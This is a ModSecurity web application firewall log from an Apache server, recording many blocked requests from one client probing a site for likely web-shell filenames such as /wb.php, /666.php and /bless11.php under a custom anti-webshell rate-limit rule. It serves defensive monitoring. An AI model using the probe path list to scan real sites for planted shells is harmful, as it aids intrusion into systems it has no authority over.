[Mon Dec 15 20:41:04.828813 2025] [:error] [pid 31372:tid 31380] [client 4.194.147.174:16481] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aUAB4AN06qRtpJxyxHig3wAAAIQ"]
[Mon Dec 15 20:41:05.113672 2025] [:error] [pid 31372:tid 31397] [client 4.194.147.174:16408] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aUAB4QN06qRtpJxyxHig4gAAAJU"]
[Mon Dec 15 20:41:05.372241 2025] [:error] [pid 31372:tid 31398] [client 4.194.147.174:16471] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aUAB4QN06qRtpJxyxHig5AAAAJY"]
[Mon Dec 15 20:41:05.598256 2025] [:error] [pid 52155:tid 52159] [client 4.194.147.174:16507] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aUAB4RaJK6javjid3xy1rAAAAQE"]
[Mon Dec 15 20:41:05.883197 2025] [:error] [pid 52155:tid 52169] [client 4.194.147.174:16461] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aUAB4RaJK6javjid3xy1sQAAAQs"]
[Mon Dec 15 20:41:06.371665 2025] [:error] [pid 31373:tid 31428] [client 4.194.147.174:19216] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aUAB4nFdnrU7ASwItVLgXwAAANc"]
[Mon Dec 15 20:41:06.723812 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:16489] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aUAB4haJK6javjid3xy1tQAAAQo"]
[Mon Dec 15 20:41:07.006869 2025] [:error] [pid 31372:tid 31383] [client 4.194.147.174:19254] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aUAB4wN06qRtpJxyxHig6gAAAIc"]
[Mon Dec 15 20:41:07.286046 2025] [:error] [pid 31374:tid 31449] [client 4.194.147.174:16336] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aUAB45zSh8b7uk6RWiFhsAAAAFE"]
[Mon Dec 15 20:41:07.642115 2025] [:error] [pid 31373:tid 31412] [client 4.194.147.174:16450] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css/up.php"] [unique_id "aUAB43FdnrU7ASwItVLgYwAAAMc"]
[Mon Dec 15 20:41:07.938847 2025] [:error] [pid 31373:tid 31425] [client 4.194.147.174:16437] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css/up.php"] [unique_id "aUAB43FdnrU7ASwItVLgZAAAANQ"]
[Mon Dec 15 20:41:08.184876 2025] [:error] [pid 52155:tid 52169] [client 4.194.147.174:19320] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css/up.php"] [unique_id "aUAB5BaJK6javjid3xy1twAAAQs"]
[Mon Dec 15 20:41:08.618193 2025] [:error] [pid 31459:tid 31468] [client 4.194.147.174:19288] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css/up.php"] [unique_id "aUAB5DqerS0TDpViRztndAAAAAc"]
[Mon Dec 15 20:41:09.028127 2025] [:error] [pid 52155:tid 52177] [client 4.194.147.174:19268] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aUAB5RaJK6javjid3xy1ugAAARM"]
[Mon Dec 15 20:41:09.542312 2025] [:error] [pid 31374:tid 31438] [client 4.194.147.174:19234] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aUAB5ZzSh8b7uk6RWiFhvAAAAEY"]
[Mon Dec 15 20:41:10.001852 2025] [:error] [pid 52155:tid 52170] [client 4.194.147.174:19239] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aUAB5haJK6javjid3xy1vQAAAQw"]
[Mon Dec 15 20:41:10.293922 2025] [:error] [pid 31372:tid 31377] [client 4.194.147.174:19205] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aUAB5gN06qRtpJxyxHig7gAAAIE"]
[Mon Dec 15 20:41:10.580238 2025] [:error] [pid 31373:tid 31410] [client 4.194.147.174:16498] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aUAB5nFdnrU7ASwItVLgawAAAMU"]
[Mon Dec 15 20:41:10.956491 2025] [:error] [pid 31374:tid 31442] [client 4.194.147.174:19201] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aUAB5pzSh8b7uk6RWiFhwAAAAEo"]
[Mon Dec 15 20:41:11.194321 2025] [:error] [pid 31372:tid 31385] [client 4.194.147.174:19235] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aUAB5wN06qRtpJxyxHig8gAAAIk"]
[Mon Dec 15 20:41:11.499824 2025] [:error] [pid 31372:tid 31381] [client 4.194.147.174:19315] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aUAB5wN06qRtpJxyxHig9AAAAIU"]
[Mon Dec 15 20:41:11.805826 2025] [:error] [pid 52155:tid 52159] [client 4.194.147.174:16452] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wb.php"] [unique_id "aUAB5xaJK6javjid3xy1xAAAAQE"]
[Mon Dec 15 20:41:12.109674 2025] [:error] [pid 31372:tid 31394] [client 4.194.147.174:16511] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wb.php"] [unique_id "aUAB6AN06qRtpJxyxHig9gAAAJI"]
[Mon Dec 15 20:41:12.397806 2025] [:error] [pid 31372:tid 31397] [client 4.194.147.174:16451] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wb.php"] [unique_id "aUAB6AN06qRtpJxyxHig-gAAAJU"]
[Mon Dec 15 20:41:12.703281 2025] [:error] [pid 52155:tid 52167] [client 4.194.147.174:19257] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wb.php"] [unique_id "aUAB6BaJK6javjid3xy1xwAAAQk"]
[Mon Dec 15 20:41:13.093096 2025] [:error] [pid 31373:tid 31420] [client 4.194.147.174:19221] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUAB6XFdnrU7ASwItVLgcAAAAM8"]
[Mon Dec 15 20:41:13.432236 2025] [:error] [pid 52155:tid 52169] [client 4.194.147.174:16479] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUAB6RaJK6javjid3xy1ygAAAQs"]
[Mon Dec 15 20:41:13.817423 2025] [:error] [pid 31374:tid 31455] [client 4.194.147.174:19263] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUAB6ZzSh8b7uk6RWiFhwQAAAFc"]
[Mon Dec 15 20:41:14.084855 2025] [:error] [pid 31373:tid 31426] [client 4.194.147.174:16467] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUAB6nFdnrU7ASwItVLgcwAAANU"]
[Mon Dec 15 20:41:14.455707 2025] [:error] [pid 31373:tid 31407] [client 4.194.147.174:16491] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aUAB6nFdnrU7ASwItVLgdAAAAMI"]
[Mon Dec 15 20:41:14.808189 2025] [:error] [pid 31373:tid 31410] [client 4.194.147.174:16421] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aUAB6nFdnrU7ASwItVLgeAAAAMU"]
[Mon Dec 15 20:41:15.227116 2025] [:error] [pid 31459:tid 31481] [client 4.194.147.174:19272] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aUAB6zqerS0TDpViRztndQAAABQ"]
[Mon Dec 15 20:41:15.596660 2025] [:error] [pid 52155:tid 52175] [client 4.194.147.174:19261] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aUAB6xaJK6javjid3xy1zgAAARE"]
[Mon Dec 15 20:41:15.834849 2025] [:error] [pid 52155:tid 52182] [client 4.194.147.174:16448] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aUAB6xaJK6javjid3xy10AAAARg"]
[Mon Dec 15 20:41:16.203323 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:16492] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aUAB7BaJK6javjid3xy10gAAAQo"]
[Mon Dec 15 20:41:16.515616 2025] [:error] [pid 52155:tid 52179] [client 4.194.147.174:16465] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aUAB7BaJK6javjid3xy11AAAARU"]
[Mon Dec 15 20:41:16.870634 2025] [:error] [pid 31459:tid 31483] [client 4.194.147.174:16402] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aUAB7DqerS0TDpViRztneAAAABY"]
[Mon Dec 15 20:41:17.163541 2025] [:error] [pid 31372:tid 31393] [client 4.194.147.174:16502] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aUAB7QN06qRtpJxyxHig_QAAAJE"]
[Mon Dec 15 20:41:17.416386 2025] [:error] [pid 31459:tid 31470] [client 4.194.147.174:16349] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aUAB7TqerS0TDpViRztnewAAAAk"]
[Mon Dec 15 20:41:17.621132 2025] [:error] [pid 31459:tid 31478] [client 4.194.147.174:19253] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aUAB7TqerS0TDpViRztnfAAAABE"]
[Mon Dec 15 20:41:17.846221 2025] [:error] [pid 52155:tid 52180] [client 4.194.147.174:16500] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aUAB7RaJK6javjid3xy12QAAARY"]
[Mon Dec 15 20:41:18.089255 2025] [:error] [pid 52155:tid 52167] [client 4.194.147.174:16416] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aUAB7haJK6javjid3xy12gAAAQk"]
[Mon Dec 15 20:41:18.465150 2025] [:error] [pid 52155:tid 52175] [client 4.194.147.174:19302] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aUAB7haJK6javjid3xy13AAAARE"]
[Mon Dec 15 20:41:18.735075 2025] [:error] [pid 31459:tid 31461] [client 4.194.147.174:16468] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aUAB7jqerS0TDpViRztnfgAAAAA"]
[Mon Dec 15 20:41:18.939317 2025] [:error] [pid 31374:tid 31445] [client 4.194.147.174:19306] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aUAB7pzSh8b7uk6RWiFhygAAAE0"]
[Mon Dec 15 20:41:19.250850 2025] [:error] [pid 52155:tid 52165] [client 4.194.147.174:16488] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aUAB7xaJK6javjid3xy15AAAAQc"]
[Mon Dec 15 20:41:19.573024 2025] [:error] [pid 52155:tid 52179] [client 4.194.147.174:19274] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aUAB7xaJK6javjid3xy15QAAARU"]
[Mon Dec 15 20:41:19.849716 2025] [:error] [pid 52155:tid 52161] [client 4.194.147.174:16384] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aUAB7xaJK6javjid3xy15wAAAQM"]
[Mon Dec 15 20:41:20.063672 2025] [:error] [pid 31372:tid 31400] [client 4.194.147.174:16439] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aUAB8AN06qRtpJxyxHihAwAAAJg"]
[Mon Dec 15 20:41:20.303324 2025] [:error] [pid 31372:tid 31396] [client 4.194.147.174:16456] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aUAB8AN06qRtpJxyxHihBQAAAJQ"]
[Mon Dec 15 20:41:20.527422 2025] [:error] [pid 52155:tid 52167] [client 4.194.147.174:16419] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aUAB8BaJK6javjid3xy16wAAAQk"]
[Mon Dec 15 20:41:20.772988 2025] [:error] [pid 52155:tid 52172] [client 4.194.147.174:16420] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aUAB8BaJK6javjid3xy17gAAAQ4"]
[Mon Dec 15 20:41:21.037406 2025] [:error] [pid 52155:tid 52170] [client 4.194.147.174:16508] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aUAB8RaJK6javjid3xy18QAAAQw"]
[Mon Dec 15 20:41:21.308654 2025] [:error] [pid 31372:tid 31397] [client 4.194.147.174:16401] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aUAB8QN06qRtpJxyxHihBwAAAJU"]
[Mon Dec 15 20:41:21.575303 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:16504] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aUAB8RaJK6javjid3xy19AAAAQo"]
[Mon Dec 15 20:41:21.825788 2025] [:error] [pid 52155:tid 52179] [client 4.194.147.174:16403] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aUAB8RaJK6javjid3xy19gAAARU"]
